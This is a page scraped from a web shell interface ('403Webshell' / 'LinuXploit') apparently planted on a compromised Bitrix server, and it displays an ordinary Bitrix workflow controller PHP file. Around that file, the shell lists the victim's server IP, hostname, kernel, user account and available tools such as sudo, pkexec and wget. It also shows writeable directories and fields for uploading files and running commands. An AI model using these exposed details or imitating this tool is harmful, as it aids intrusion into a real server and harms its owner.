403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/controller/workflow/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/bizproc/lib/controller/workflow/faces.php
<?php

namespace Bitrix\Bizproc\Controller\Workflow;

use Bitrix\Bizproc;
use Bitrix\Bizproc\UI\WorkflowFacesView;
use Bitrix\Main\Localization\Loc;

class Faces extends Bizproc\Controller\Base
{
	public function loadAction(string $workflowId, int $userId, int $runningTaskId = 0): ?WorkflowFacesView
	{
		if (empty($workflowId))
		{
			$this->addError(new Bizproc\Error('empty workflow id'));

			return null;
		}

		if ($runningTaskId < 0)
		{
			$this->addError(new Bizproc\Error('negative running task id'));

			return null;
		}

		$currentUserId = (int)($this->getCurrentUser()?->getId() ?? 0); // $this->getCurrentUser()->getId() return string

		$accessService = new Bizproc\Api\Service\WorkflowAccessService();
		$canViewFacesResponse = $accessService->canViewFaces(
			new Bizproc\Api\Request\WorkflowAccessService\CanViewFacesRequest($workflowId, $userId, $currentUserId)
		);

		if ($canViewFacesResponse->isSuccess())
		{
			return $this->getWorkflowFaces($workflowId, $runningTaskId);
		}

		$this->addError(
			new Bizproc\Error(
				Loc::getMessage('BIZPROC_CONTROLLER_WORKFLOW_FACES_CAN_READ_ERROR'), 'ACCESS_DENIED'
			)
		);

		return null;
	}

	private function getWorkflowFaces(string $workflowId, int $runningTaskId): WorkflowFacesView
	{
		return new WorkflowFacesView($workflowId, $runningTaskId === 0 ? null : $runningTaskId);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit